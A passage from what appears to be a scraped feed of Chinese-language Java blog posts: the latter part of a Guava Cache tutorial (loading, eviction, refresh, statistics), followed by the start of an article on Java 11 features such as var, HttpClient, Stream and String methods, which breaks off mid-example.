提供的一整套的缓存解决方案。虽然它本身并没有提供缓存的实现，但是它提供了一整套的接口和代码规范、配置、注解等，这样它就可以整合各种缓存方案了，比如 Redis、Ehcache，我们也就不用关心操作缓存的细节。 Caffeine（以 GuavaCache 为原型而开发的一个本地缓存框架，相对 GuavaCache, 它有更高的性能与命中率，更强大的功能，更灵活的配置方式） J2Cache（OSChina 开源的一个两级缓存框架，采用固定的 一级 + 二级缓存 的模式，从一开始就是为了解决两级缓存一致性的问题） JetCache（是阿里开源的通用缓存访问框架，它统一了多级缓存的访问方式，封装了类似于 SpringCache 的注解，以及 GuavaCache 类似的 Builder, 来简化项目中使用缓存的难度） 这里多说两句：\nCaffeine是当前最优秀的内存缓存框架，不论读还是写的效率都远高于其他缓存，而且在Spring5开始的默认缓存实现就将 Caffeine 代替原来的 Guava。\n在项目中，比如你用 SpringBoot 想加本地缓存，我们通常会引入 SpringCache+Caffeine的依赖。使用 SpringCache 注解方法实现缓存。SpringCache 帮我们封装了 Caffeine，通过这种方式集成 Caffeine。\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-cache\u0026lt;/artifactId\u0026gt; 4\u0026lt;/dependency\u0026gt; 5\u0026lt;dependency\u0026gt; 6 \u0026lt;groupId\u0026gt;com.github.ben-manes.caffeine\u0026lt;/groupId\u0026gt; 7 \u0026lt;artifactId\u0026gt;caffeine\u0026lt;/artifactId\u0026gt; 8\u0026lt;/dependency\u0026gt; 有朋友说了，你这是一级缓存，我们一般会使用二级缓存，即一级缓存用 caffeine 二级缓存用 Redis(强强联合，很常用的方案)，一级缓存找不到去二级缓存找。\n没错，如果你想用 SpringBoot 集成 Caffeine和Redis实现二级缓存，有两种方式：\n第一种，直接集成，引入的依赖有变化：\n1 2 \u0026lt;dependency\u0026gt; 3 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 4 \u0026lt;artifactId\u0026gt;spring-boot-starter-cache\u0026lt;/artifactId\u0026gt; 5 \u0026lt;/dependency\u0026gt; 6 \u0026lt;dependency\u0026gt; 7 \u0026lt;groupId\u0026gt;com.github.ben-manes.caffeine\u0026lt;/groupId\u0026gt; 8 \u0026lt;artifactId\u0026gt;caffeine\u0026lt;/artifactId\u0026gt; 9 \u0026lt;/dependency\u0026gt; 10 \u0026lt;dependency\u0026gt; 11 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 12 \u0026lt;artifactId\u0026gt;spring-boot-starter-data-redis\u0026lt;/artifactId\u0026gt; 13 \u0026lt;/dependency\u0026gt; 这里顺便说一下 spring-boot-starter-data-redis ，spring-data-redis 和 Redis 的关系如下图，延续了 Spring 的一贯思想，对上层仍然是一层封装，对底层支持各种 Redis 客户端的实现。\n第一种方式的集成比较简单，但请注意 spring cache (caffeine) 和 spring-data-redis(redis)，是各管各的（如前面括号里写的），不好意思，一二级缓存之间的逻辑关系需要你自己处理 具体来说比如你可以实现 cache 拦截器 CacheInterceptor\n这里有一个比较容易混乱的点， spring cache 是支持多个 Provider 的：\nGeneric JCache (JSR-107) (EhCache 3, Hazelcast, Infinispan, and others) EhCache 2.x Hazelcast Infinispan Couchbase Redis Caffeine Simple 意思是我们用 springcache 即可以集成 Caffeine 这种本地缓存，也可以集成 Redis 这种分布式缓存，当然配置肯定不一样。但你要清楚，同时只能集成一个，没有说用 springcache 能同时集成两个的， 上面讲的集成 二级缓存（caffeine+redis），是指各管各的，springcache 集成 Caffeine，spring-data-redis 集成 redis。\n刚才说了第一种集成方式，现在说第二种，即利用 jetCache 做二级缓存的集成，这里依赖有了很大变化：\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;com.alicp.jetcache\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;jetcache-starter-redis-lettuce\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;2.6.3\u0026lt;/version\u0026gt; 5\u0026lt;/dependency\u0026gt; 只需要这一个依赖，不需要 spring-cache 和 spring-data-redis 了 ，因为 jetCache 里面已经引入了 caffeine 和 lettuce 的包了。\n这并不是说 spring-data-redis 和 spring-cache 不能引入，可以用，如果你有需求，但要注意检查依赖的冲突和重复。\n1jetcache: 2 statIntervalMinutes: 1 3 areaInCacheName: false 4 local: 5 default: 6 type: caffeine 7 keyConvertor: fastjson2 8 remote: 9 default: 10 type: redis.lettuce 11 keyConvertor: fastjson2 12 broadcastChannel: projectA 13 keyPrefix: projectA 14 valueEncoder: java 15 valueDecoder: java 16 uri: redis://127.0.0.1:6379/ 17 defaultExpireInMillis: 5000 我们从上面的配置中可以看出，很明显这里配置了二级缓存，分别是 local 和 remote，由于 jetCache 支持二级缓存的操作，就不用我们自己写代码实现了，不过值得注意的是，要实现分布式两级缓存的同步因为太重，框架没做得自己实现，关于这个问题可以参考（https://github.com/alibaba/jetcache/issues/205）\nGuava 缓存 终于到我们今天的主角 Guava Cache 了，无论你对 Caffeine 和 JetCache 多么感兴趣，请都先克制和忍耐一下，把 Guava 的 cache 看完，毕竟 Caffeine 也是以 Guava 为原型而产生的框架。\n这里我们再次强调** Guava Cache 指的本地缓存，即数据存储在当前应用服务器的内存之中，而像 Redis 这样的分布式缓存，数据是存储在应用服务器内存之外的**。\n下面我们来具体说说 Guava 的 Cache 怎么用\n加载 cache loading , 即缓存的加载或者创建有两种方式：\ncacheLoader callable 我们首先说一下 cacheLoader ，举个例子：\n1 LoadingCache\u0026lt;String, String\u0026gt; cahceBuilder = CacheBuilder 2 .newBuilder() 3 .build(new CacheLoader\u0026lt;String, String\u0026gt;() { 4 @Override 5 public String load(String key) throws Exception { 6 return \u0026#34;no \u0026#34; + key + \u0026#34;!\u0026#34;; 7 } 8 9 }); 10 11 cahceBuilder.put(\u0026#34;name\u0026#34;, \u0026#34;jack\u0026#34;); 12 cahceBuilder.put(\u0026#34;id\u0026#34;, \u0026#34;123\u0026#34;); 13 14 System.out.println(cahceBuilder.get(\u0026#34;name\u0026#34;)); 15 System.out.println(cahceBuilder.get(\u0026#34;id\u0026#34;)); 16 System.out.println(cahceBuilder.get(\u0026#34;address\u0026#34;)); 17 System.out.println(cahceBuilder.getAll(List.of(\u0026#34;name\u0026#34;,\u0026#34;id\u0026#34;,\u0026#34;address\u0026#34;))); 输出：\n1jack 2123 3no address! 4{name=jack, id=123, address=no address!} 上面的小例子我们用 cacheBuilder 构造出来的 LoadingCache 来存取类型均为String 的 K,V 缓存。build 方法需要传入一个 CacheLoader 对象，CacheLoader 是一个抽象类，需要重写 load 方法。这个 load 的方法的作用是：如果我们调用 LoadingCache 中的 get 方法，缓存不存在相对应的 key 的数据，那么 CacheLoader 会自动调用 load 方法加载数据进来，至于数据从哪里来是你自己设计的，比如从数据库或者 Redis 等等。\n关于最后的 getAll 方法： getAll(Iterable\u0026lt;? extends K\u0026gt;) 方法用来执行批量查询。默认情况下，对每个不在缓存中的键，getAll 方法会单独调用 CacheLoader.load 来加载缓存项。如果批量的加载比多个单独加载更高效，你可以重载 CacheLoader.loadAll 来利用这一点。getAll(Iterable) 的性能也会相应提升。\n关于 LoadingCache ， 我们看一下它的特点：\n“\nA semi-persistent mapping from keys to values. Values are automatically loaded by the cache, and are stored in the cache until either evicted or manually invalidated. The common way to build instances is using CacheBuilder. Implementations of this interface are expected to be thread-safe, and can be safely accessed by multiple concurrent threads.\n”\n一种半持久化的 KV 结构 这些 KV 会一直有效，直到被驱逐或者手动设置为无效 线程安全的 接着我们来看一下 callable ，举个简单例子：\n1 Cache\u0026lt;String, String\u0026gt; cache = CacheBuilder.newBuilder().build(); 2 3 String name = cache.get(\u0026#34;name\u0026#34;, new Callable\u0026lt;String\u0026gt;() { 4 @Override 5 public String call() throws Exception { 6 7 return \u0026#34;jack\u0026#34;; 8 } 9 }); 10 11 System.out.println(name); 12 13 cache.put(\u0026#34;id\u0026#34;,\u0026#34;123\u0026#34;); 14 15 System.out.println(cache.getIfPresent(\u0026#34;id\u0026#34;)); 16 System.out.println(cache.getIfPresent(\u0026#34;address\u0026#34;)); 输出：\n1jack 2123 3null 可以看到 Callable 只有在缓存值不存在时，才会调用，值存在则直接返回该值。\n总结\nLoadingCache 继承了 Cache 接口。LoadingCache 读取一个指定 key 的数据时，如果 key 不存在，LoadingCache 会执行加载数据到缓存。（相当于全局的） cacheloader 的定义比较宽泛，是针对整个 cache 定义的，可以认为是统一的根据 key 值 load value 的方法。而 callable 的方式较为灵活，允许你在 get 的时候指定。（相当于个体自定义的） 其实无论是 LoadingCache 还是 callable 的方式加载缓存，他们都实现了一个共同的语义，即 “get-if-absent-compute” 获取缓存-如果没有-则计算。注意这个语义是原子的，通过下图看到底层源码，是加了锁的。\nJava 中与此相似的原子语义有：ConcurrentHashMap 中的 putIfAbsent 和 computeIfAbsent，注意只是结构相似而已。\n缓存回收 从大的方面讲缓存的回收分两种，一种是手动回收，一种是自动回收。手动回收就是你自己调方法干掉它，自动就是根据一定的规则约定，当到达触发条件自动回收。\n我们先来看自动这部分。\nGuava Cache 提供了三种基本的缓存回收方式：基于容量回收、定时回收和基于引用回收。\n基于容量的回收（size-based eviction）\n顾名思义根据缓存的容量回收，超过或即将超过最大容量的缓存将被回收，我们可以通过 CacheBuilder 来设置最大容量：\n1CacheBuilder.newBuilder().maximumSize(100).build(); 这个 size 指的是 cache 中的条目数，不是内存大小或是其他 并不是完全到了指定的 size 系统才开始移除不常用的数据的，而是接近这个 size 的时候系统就会开始做移除的动作 如果一个键值对已经从缓存中被移除了，你再次请求访问的时候，如果 cachebuild 是使用 cacheLoader 方式的，那依然还是会从 cacheloader 中再取一次值，如果这样还没有，就会抛出异常 根据源码注释可以看到，容量回收的算法是LRU（最近最少使用）\n还可以根据缓存的“权重” 进行回收，什么意思呢？\n每一项缓存所占据的内存空间大小都可能不一样，我们可以把它看作它们有不同的“权重”（weights）, 作为执行清除策略时优化回收的对象。不过感觉基于权重的用的比较少。下面是一个官方的例子：\n1LoadingCache\u0026lt;Key, Graph\u0026gt; graphs = CacheBuilder.newBuilder() 2 .maximumWeight(100000) 3 .weigher(new Weigher\u0026lt;Key, Graph\u0026gt;() { 4 public int weigh(Key k, Graph g) { 5 return g.vertices().size(); 6 } 7 }) 8 .build( 9 new CacheLoader\u0026lt;Key, Graph\u0026gt;() { 10 public Graph load(Key key) { // no checked exception 11 return createExpensiveGraph(key); 12 } 13 }); 可以通过自定义一个 weight 函数来设置每项缓存的权重 。\n定时回收（Timed Eviction）\n定时回收，或者说基于存活时间的回收，主要有两个参数：\nexpireAfterAccess 缓存项在给定时间内没有被读/写访问，则回收。这种缓存的回收顺序和基于大小回收一样。 expireAfterWrite 缓存项在给定时间内没有被写访问（创建或覆盖），则回收。如果认为缓存数据总是在固定时候后变得陈旧不可用，这种回收方式是可取的。 1CacheBuilder.newBuilder().expireAfterAccess(10, TimeUnit.SECONDS).expireAfterWrite(8,TimeUnit.SECONDS); 通过这两个参数的设置可以发现：定时回收周期性地在写操作中执行，偶尔在读操作中执行\n我们在测试定时回收的时候不用设置了时间以后在那儿“傻等”，可以利用 Guava 的 Ticker 来模拟时间流逝，举个例子：\n1class FakeTicker extends Ticker { 2 3 private final AtomicLong nanos = new AtomicLong(); 4 5 /** Advances the ticker value by {@code time} in {@code timeUnit}. */ 6 public FakeTicker advance(long time, TimeUnit timeUnit) { 7 nanos.addAndGet(timeUnit.toNanos(time)); 8 return this; 9 } 10 11 @Override 12 public long read() { 13 long value = nanos.getAndAdd(0); 14 System.out.println(\u0026#34;is called \u0026#34; + value); 15 return value; 16 } 17} 18 19@Test 20public void expireAfterWriteTestWithTicker() throws InterruptedException { 21 FakeTicker t = new FakeTicker(); 22 23 // Use ticker to force expire in 20 minute 24 LoadingCache\u0026lt;String, String\u0026gt; cache = CacheBuilder.newBuilder() 25 .expireAfterWrite(20, TimeUnit.MINUTES).ticker(t).build(ldr); 26 cache.getUnchecked(\u0026#34;hello\u0026#34;); 27 assertEquals(1, cache.size()); 28 assertNotNull(cache.getIfPresent(\u0026#34;hello\u0026#34;)); 29 30 // add 21 minutes 31 t.advance(21, TimeUnit.MINUTES); 32 assertNull(cache.getIfPresent(\u0026#34;hello\u0026#34;)); 33 34} 基于引用的回收（Reference-based Eviction）\nGuava 允许你通过设置实现在 JVM GC 时回收缓存对象，这种移除方式主要是基于 java 的垃圾回收机制，根据键或者值的引用关系决定移除。\n稍微复习一下 Java 的引用类型：\n强引用：new 出来的一般对象，只要引用在就不会被回收 软引用：将要发生内存溢出之前回收 弱引用：生存到下一次垃圾收集发生之前 虚引用：目的是对象被收集器回收时收到一个系统通知 其中，软引用 soft reference 可用来实现内存敏感的高速缓存。而弱引用 weak reference 引用的对象是有价值被 cache, 而且很容易被重新构建，且很消耗内存的对象。所以 软引用和弱引用被 Guava 利用来处理回收问题。\nCacheBuilder.weakKeys() 使用弱引用存储键。当键没有其它（强或软）引用时，缓存项可以被垃圾回收。 CacheBuilder.weakValues()：使用弱引用存储值。当值没有其它（强或软）引用时，缓存项可以被垃圾回收。 CacheBuilder.softValues()：使用软引用存储值。软引用的对象会根据内存需求，以 LRU 的方式进行垃圾收集。 1Cache\u0026lt;String, String\u0026gt; cache = CacheBuilder.newBuilder().weakKeys().weakValues().softValues().build(); 实际工作中用引用回收的很少。\n上面我们介绍的回收方式，无论是基于容量回收、定时回收还是基于引用回收都是类似于自动回收的方式，下面我们介绍下手动显示回收，即手动回收缓存。\n个别清除：Cache.invalidate(key) 批量清除：Cache.invalidateAll(keys) 清除所有缓存项：Cache.invalidateAll() 移除监听器 通过CacheBuilder.removalListener(RemovalListener)，你可以声明一个监听器，以便缓存项被移除时做一些额外操作。缓存项被移除时，RemovalListener会获取移除通知RemovalNotification，其中包含移除原因RemovalCause、键和值。\n举个例子：\n1 RemovalListener\u0026lt;String, String\u0026gt; myRemovalListener = notification -\u0026gt; { 2 System.out.println(notification.getCause().toString()+ \u0026#34; | [\u0026#34; + notification.getKey() + \u0026#34;:\u0026#34; + notification.getValue() + \u0026#34;] is removed!\u0026#34;); 3 4 }; 5 Cache\u0026lt;String, String\u0026gt; cache = CacheBuilder.newBuilder().removalListener(myRemovalListener).build(); 6 cache.put(\u0026#34;name\u0026#34;,\u0026#34;jack\u0026#34;); 7 cache.put(\u0026#34;id\u0026#34;,\u0026#34;123\u0026#34;); 8 cache.invalidate(\u0026#34;id\u0026#34;); 输出：EXPLICIT | [id:123] is removed!\n注意：默认情况下，监听器方法是在移除缓存时同步调用的。因为缓存的维护和请求响应通常是同时进行的，代价高昂的监听器方法在同步模式下会拖慢正常的缓存请求。在这种情况下，你可以使用RemovalListeners.asynchronous(RemovalListener, Executor)把监听器装饰为异步操作，比如：\n1ExecutorService executor = Executors.newSingleThreadExecutor(); 2Cache\u0026lt;Integer, Integer\u0026gt; cache1 = CacheBuilder.newBuilder().expireAfterWrite(2, TimeUnit.SECONDS) 3 .removalListener(RemovalListeners.asynchronous(notification -\u0026gt; { 4 System.out.println(notification.getCause()); 5 System.out.println(notification.getKey() + \u0026#34; --\u0026gt; \u0026#34; + notification.getValue()); 6 }, executor)).build(); 缓存回收的时机 关于这点，只需要知道 Guava cache 缓存不会”自动”执行清理和回收工作，也不会在某个缓存项过期后马上清理，也没有诸如此类的清理机制。相反，它会在写操作时顺带做少量的维护工作，或者偶尔在读操作时做——如果写操作实在太少的话。\n这样做的原因在于：如果要自动地持续清理缓存，就必须有一个线程，这个线程会和用户操作竞争共享锁。此外，某些环境下线程创建可能受限制，这样 CacheBuilder 就不可用了。\n相反，Guava 把选择权交到我们手里。如果你的缓存是高吞吐的，那就无需担心缓存的维护和清理等工作。如果你的 缓存只会偶尔有写操作，而你又不想清理工作阻碍了读操作，那么可以创建自己的维护线程，以固定的时间间隔调用Cache.cleanUp()\nScheduledExecutorService可以帮助你很好地实现这样的定时调度。\n刷新 如果对缓存设置过期时间，在高并发下同时执行 get 操作，而此时缓存值已过期了，如果没有保护措施，则会导致大量线程同时调用生成缓存值的方法，比如从数据库读取，对数据库造成压力，这也就是我们常说的“缓存击穿”。\n而 Guava cache 则对此种情况有一定控制。当大量线程用相同的 key 获取缓存值时，只会有一个线程进入 load 方法，而其他线程则等待（同步），直到缓存值被生成。这样也就避免了缓存击穿的危险。上述机制其实就是 expireAfterWrite/expireAfterAccess 来控制的，如果你配置了过期策略对应的缓存项在过期后被访问就会走上述流程来加载缓存项。\n但这样做会导致大量的请求线程被阻塞。怎么办呢？\nGuava cache 的办法是提供一种缓存策略，缓存值定时刷新 refreshAfterWrite ：更新线程调用 load 方法更新该缓存，其他请求线程返回该缓存的旧值。这样对于某个 key 的缓存来说，只会有一个线程被阻塞，用来生成缓存值，而其他的线程都返回旧的缓存值，不会被阻塞。\n我们对比一下 refreshAfterWrite 和expireAfterWrite\nexpireAfterWrite 是允许一个线程进去 load 方法，其他线程阻塞等待。 refreshAfterWrite 是允许一个线程进去 load 方法，其他线程返回旧的值。 那么问题解决了吗？ 单个 key 并发下，使用 refreshAfterWrite，虽然不会阻塞了，但是如果恰巧多个 key 同时过期，还是会给数据库造成压力，这就是我们所说的“缓存雪崩”。这时就要用到异步刷新，将刷新缓存值的任务交给后台线程，所有的用户请求线程均返回旧的缓存值。方法是覆盖 CacheLoader 的reload方法，使用线程池去异步加载数据\n“\n只有重写了 reload 方法才有“异步加载”的效果。默认的 reload 方法就是同步去执行 load 方法\n”\n关于 reload 可以参考官方的例子：\n1//有些键不需要刷新，并且我们希望刷新是异步完成的 2LoadingCache\u0026lt;Key, Graph\u0026gt; graphs = CacheBuilder.newBuilder() 3 .maximumSize(1000) 4 .refreshAfterWrite(1, TimeUnit.MINUTES) 5 .build( 6 new CacheLoader\u0026lt;Key, Graph\u0026gt;() { 7 public Graph load(Key key) { // no checked exception 8 return getGraphFromDatabase(key); 9 } 10 11 public ListenableFuture\u0026lt;Key, Graph\u0026gt; reload(final Key key, Graph prevGraph) { 12 if (neverNeedsRefresh(key)) { 13 return Futures.immediateFuture(prevGraph); 14 }else{ 15 // asynchronous! 16 ListenableFutureTask\u0026lt;Key, Graph\u0026gt; task=ListenableFutureTask.create(new Callable\u0026lt;Key, Graph\u0026gt;() { 17 public Graph call() { 18 return getGraphFromDatabase(key); 19 } 20 }); 21 executor.execute(task); 22 return task; 23 } 24 } 25 }); 最佳实践：refreshTime \u0026lt; expireTime\n因为，根据 get 的流程，在 get 的时候，是先判断过期，再判断 refresh（如果 refreshTime \u0026gt; expireTime 意味着永远走不到缓存刷新逻辑。)，即如果过期了会优先调用 load 方法（阻塞其他线程）。\n在不过期情况下且过了 refresh 时间才去做 reload （异步加载，同时返回旧值），所以推荐的设置是 refresh \u0026lt; expire，这个设置还可以解决一个场景就是，如果长时间没有访问缓存，可以保证 expire 后可以取到最新的值，而不是因为 refresh 取到旧值。\n可选配置 除了上文中已经介绍附带主题提到过的一些配置外，还有一些值得关注的配置：\n缓存的并发级别\nGuava 提供了设置并发级别的 api，使得缓存支持并发的写入和读取\n1CacheBuilder.newBuilder() 2 // 设置并发级别为 cpu 核心数 3 .concurrencyLevel(Runtime.getRuntime().availableProcessors()) 4 .build(); 同 ConcurrentHashMap 类似 Guava cache 的并发也是通过分离锁实现。在一般情况下，将并发级别设置为服务器 cpu 核心数是一个比较不错的选择。\n缓存的初始容量设置\n我们在构建缓存时可以为缓存设置一个合理大小初始容量，由于 Guava 的缓存使用了分离锁的机制，扩容的代价非常昂贵。所以合理的初始容量能够减少缓存容器的扩容次数。\n1CacheBuilder.newBuilder() 2 // 设置初始容量为 100 3 .initialCapacity(100) 4 .build(); 统计信息 在构建 Cache 对象时，可以通过 CacheBuilder 的 recordStats 方法开启统计信息的开关。开关开启后 Cache 会自动对缓存的各种操作进行统计，调用 Cache 的 stats 方法可以查看统计后的信息。\nCacheStats对象以提供如下统计信息：\nhitRate()：缓存命中率； averageLoadPenalty()：加载新值的平均时间，单位为纳秒； evictionCount()：缓存项被回收的总数，不包括显式清除。 1 Cache\u0026lt;String, String\u0026gt; cache = CacheBuilder.newBuilder().recordStats().build(); 2 cache.put(\u0026#34;name\u0026#34;, \u0026#34;jack\u0026#34;); 3 cache.put(\u0026#34;id\u0026#34;, \u0026#34;123\u0026#34;); 4 cache.invalidate(\u0026#34;id\u0026#34;); 5 6 System.out.println(cache.getIfPresent(\u0026#34;name\u0026#34;)); 7 System.out.println(cache.stats()); 输出：\n1jack 2CacheStats{hitCount=1, missCount=0, loadSuccessCount=0, loadExceptionCount=0, totalLoadTime=0, evictionCount=0} asMap 视图 asMap 视图提供了缓存的 ConcurrentMap 形式，但 asMap 视图与缓存的交互需要注意：\ncache.asMap() 包含当前所有加载到缓存的项。因此相应地，cache.asMap().keySet() 包含当前所有已加载键； asMap().get(key) 实质上等同于 cache.getIfPresent(key)，而且不会引起缓存项的加载。这和 Map 的语义约定一致。 所有读写操作都会重置相关缓存项的访问时间，包括 Cache.asMap().get(Object) 方法和 Cache.asMap().put(K, V) 方法，但不包括 Cache.asMap().containsKey(Object) 方法，也不包括在 Cache.asMap() 的集合视图上的操作。比如，遍历 Cache.asMap().entrySet() 不会重置缓存项的读取时间。 Caffeine 从功能上看，Guava 已经比较完善了，满足了绝大部分本地缓存的需求。Caffine 除了提供 Guava 已有的功能外，同时还加入了一些扩展功能。\n关于 Caffeine 的话题，限于篇幅，我们在以后的文章中再讨论。\n总结 本文我们首先介绍了缓存的一些背景知识，了解了缓存的分类，以及内存缓存的一些开源库类，利用一些短小易懂的例子重点介绍了 Guava Cache，包括它的加载、更新、回收、配置、统计等功能。由于篇幅有限，有关常用的 JetCache 、Caffeine，还有一二级缓存的话题，有机会我会在后面的文章中跟大家再细聊。\n参考 https://albenw.github.io/posts/df42dc84/ https://www.cnblogs.com/peida/p/guava_cache.html https://www.cnblogs.com/rickiyang/p/11074159.html https://blog.csdn.net/aitangyong/article/details/53114797 https://blog.csdn.net/bitcarmanlee/article/details/106502697 https://stackoverflow.com/questions/29990788/guava-ticker-cache-expire ","date":"2022-09-21T14:42:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-09-21-gen-zhe-guava-xue-java-zhi-huan-cun/cover.jpg","permalink":"/p/2022-09-21-gen-zhe-guava-xue-java-zhi-huan-cun/","title":"跟着 Guava 学 Java 之缓存"},{"content":"概述 我知道很多公司和个人还在用 Java8，我们不妨梳理下当下的情况\n目前 Java 最新的 GA（General-Availability） Release 版本是 JDK 18.0.2.1 Java 17 LTS 是 最新长期支持版本。根据 Oracle 免费条款JDK 18 和 JDK 17 可在生产环境中免费使用，至少在 2024 年 9 月之前 JDK 18 到 2022 年 9 月它将被 JDK 19 取代 日子总要过，我们也不可能抱着 Java 8 用一辈子，我们来一起看看 Java 11 的一些新玩意儿。\n本文算是 Java 11 功能的小教程，没有长篇的文字，都是些短小易懂的代码，让我们沉浸在研究代码的快乐中吧。\n1 局部变量类型推断 Java 10 引入了一个新的语言关键字var ，它可以在声明局部变量时选择性地替换类型信息\n在 Java 10 之前，我们这样声明变量：\n1String text =\u0026#34;Hello World\u0026#34;; 现在可以替换String为var. 编译器从变量的赋值中推断出正确的类型\n1var text = \u0026#34;Hello World\u0026#34;; 注意：声明的变量**var****仍然是静态类型的。不能将不兼容的类型重新分配给此类变量**，比如下面的代码就无法编译通过\n1var text = \u0026#34;Hello World\u0026#34;; 2text = 123; 当然 你还可以final与 结合使用var来禁止用另一个值重新分配变量：\n1final var text = \u0026#34;Hello World\u0026#34;; 2text = \u0026#34;hello\u0026#34;; // Cannot assign a value to final variable \u0026#39;text\u0026#39; 当编译器无法推断变量的正确类型时，也var不允许使用。以下所有代码示例都会导致编译器错误：\n1var a; 2var nothing = null; 3var lambda = () -\u0026gt; System.out.println(\u0026#34;Joe!\u0026#34;); 4var method = this::someMethod; **有什么直接的好处？**\n比如有一个相当冗长的类型Map\u0026lt;String, List\u0026lt;Integer\u0026gt;\u0026gt;，可以将其简化为单个var关键字，从而避免您输入一坨类型：\n1var myList = new ArrayList\u0026lt;Map\u0026lt;String, List\u0026lt;Integer\u0026gt;\u0026gt;\u0026gt;(); 2 3for (var current : myList) { 4 // current is infered to type: Map\u0026lt;String, List\u0026lt;Integer\u0026gt;\u0026gt; 5 System.out.println(current); 6} 从 Java 11 开始，var关键字也允许用于 lambda 参数，这使你能够为这些参数添加注释：\n1Predicate\u0026lt;String\u0026gt; predicate = (@Nullable var a) -\u0026gt; true; “\n提示：在 Intellij IDEA 中，您可以将鼠标悬停在变量上，同时按住CMD/CTRL以显示变量的推断类型\n”\n2 Http Client Java 9 引入了一个新的孵化的HttpClientAPI 来处理 HTTP 请求。从 Java 11 开始，这个 API 现在是最终可用的了，在包java.net 中。让我们探索一下这个 API\nnewHttpClient 可以同步或异步使用。同步请求会阻塞当前线程，直到响应可用。 BodyHandlers 定义响应主体的预期类型（例如字符串、字节数组或文件）： 1 var request = HttpRequest.newBuilder() 2 .uri(URI.create(\u0026#34;http://jsonplaceholder.typicode.com/users\u0026#34;)) 3 .GET() 4 .build(); 5 var client = HttpClient.newHttpClient(); 6 HttpResponse\u0026lt;String\u0026gt; response = client.send(request, HttpResponse.BodyHandlers.ofString()); 7 System.out.println(response.body()); 可以异步执行相同的请求。调用sendAsync不会阻塞当前线程，而是返回一个CompletableFuture来构造异步操作流水线。\n1var request = HttpRequest.newBuilder() 2 .uri(URI.create(\u0026#34;http://jsonplaceholder.typicode.com/users\u0026#34;)) 3 .build(); 4var client = HttpClient.newHttpClient(); 5client.sendAsync(request, HttpResponse.BodyHandlers.ofString()) 6 .thenApply(HttpResponse::body) 7 .thenAccept(System.out::println); “\n自己跑代码的时候注意，因为是异步的，所以你可以让主线程 sleep 一会儿，不然直接运行啥都没有\n”\n最新的这个 HttpClient 还有一些其他功能就不过多介绍了，如果你使用了 Spring 5 及以上版本，我的建议是可以直接用 WeClient ，那玩意儿谁用谁知道呀。\n3 Collection List等集合已通过新方法进行了扩展。从给定的参数创建一个新的不可变列表。创建列表的不可变副本\n1var list = List.of(\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;); 2var copy = List.copyOf(list); 3System.out.println(list == copy); // true 注意这里 of 方法返回的是不可变类型，我们看下源码：\n1 static \u0026lt;E\u0026gt; List\u0026lt;E\u0026gt; of(E e1, E e2, E e3) { 2 return new ImmutableCollections.ListN\u0026lt;\u0026gt;(e1, e2, e3); 3 } 因为list已经是不可变的，所以实际上不需要创建列表实例的副本，因此list和copy是同一个实例。但是，如果你想复制一个可变列表，copy 则返回一个新实例，因此可以保证在改变原始列表时没有副作用\n1var list = new ArrayList\u0026lt;String\u0026gt;(); 2var copy = List.copyOf(list); 3System.out.println(list == copy); // false Map 的 of 方法方便我们直接构造：\n1var map = Map.of(\u0026#34;A\u0026#34;, 1, \u0026#34;B\u0026#34;, 2); 2System.out.println(map); // {B=2, A=1} 注意这里仍然返回的是不可变类型，关于不可变集合的了解可以参考我之前的一篇文章 《 跟着 Guava 学 Java 之 不可变集合》\n如果你修改了不可变集合会抛出 java.lang.UnsupportedOperationException 异常，IDEA 也会有相应的警告给你标明哪里出了问题。\n4 Stream 流是在 Java 8 中引入的，现在接收三个新方法。Stream.ofNullable从单个元素构造一个流：\n1Stream.ofNullable(null).count() // 0 dropWhile和takeWhile 是确定要从流中放弃哪些元素。\n1Stream.of(1, 2, 3, 2, 1) 2 .dropWhile(n -\u0026gt; n \u0026lt; 3) 3 .collect(Collectors.toList()); // [3, 2, 1] 4 5Stream.of(1, 2, 3, 2, 1) 6 .takeWhile(n -\u0026gt; n \u0026lt; 3) 7 .collect(Collectors.toList()); // [1, 2] takeWhile() 方法使用一个断言作为参数，返回给定 Stream 的子集直到断言语句第一次返回 false。如果第一个值不满足断言条件，将返回一个空的 Stream。 dropWhile 方法和 takeWhile 作用相反的，使用一个断言作为参数，直到断言语句第一次返回 false 才返回给定 Stream 的子集。 所以上面\n第一段的意思是放弃取小于 3 的元素，直到遇到第一个不小于 3 的则把后面的全部元素收集起来 第二段的意思就是从第一个元素开始收集元素，直到遇到第一个不小于 3 的元素结束 5 Optional Optional 还接收到一些非常方便的新方法，例如，您现在可以简单地将 optional 转换为流或提供另一个 optional 作为空 optional 的后备\n1Optional.of(\u0026#34;foo\u0026#34;).orElseThrow(); // foo 2Optional.of(\u0026#34;foo\u0026#34;).stream().count(); // 1 3Optional.ofNullable(null) 4 .or(() -\u0026gt; Optional.of(\u0026#34;fallback\u0026#34;)) 5 .get(); // fallback 6 String 最基本的类之一String有一些辅助方法来修剪或检查空格以及流式传输字符串的行：\n1\u0026#34; \u0026#34;.isBlank(); // true 2\u0026#34; Foo Bar \u0026#34;.strip(); // \u0026#34;Foo Bar\u0026#34; 3\u0026#34; Foo Bar \u0026#34;.stripTrailing(); // \u0026#34; Foo Bar\u0026#34; 4\u0026#34; Foo Bar \u0026#34;.stripLeading(); // \u0026#34;Foo Bar \u0026#34; 5\u0026#34;Java\u0026#34;.repeat(3); // \u0026#34;JavaJavaJava\u0026#34; 6\u0026#34;A\\nB\\nC\u0026#34;.lines().count(); // 3 注意你可能觉得 strip 和 trim 方法一样，一般使用的话差不多，但实际上他们不一样，有所区别：\ntrim() 可以去除字符串前后的半角空白字符 strip() 可以去除字符串前后的全角和半角空白字符 你可以试试：\n1 String test1=\u0026#34;测试、u0020\u0026#34;;//半角 unicode 2 System.out.println(test1.trim().length());//2 3 System.out.println(test1.strip().length());//2 4 5 String test2=\u0026#34;测试、u3000\u0026#34;;//全角 unicode 6 System.out.println(test2.trim().length());//3 7 System.out.println(test2.strip().length());//2 8 9 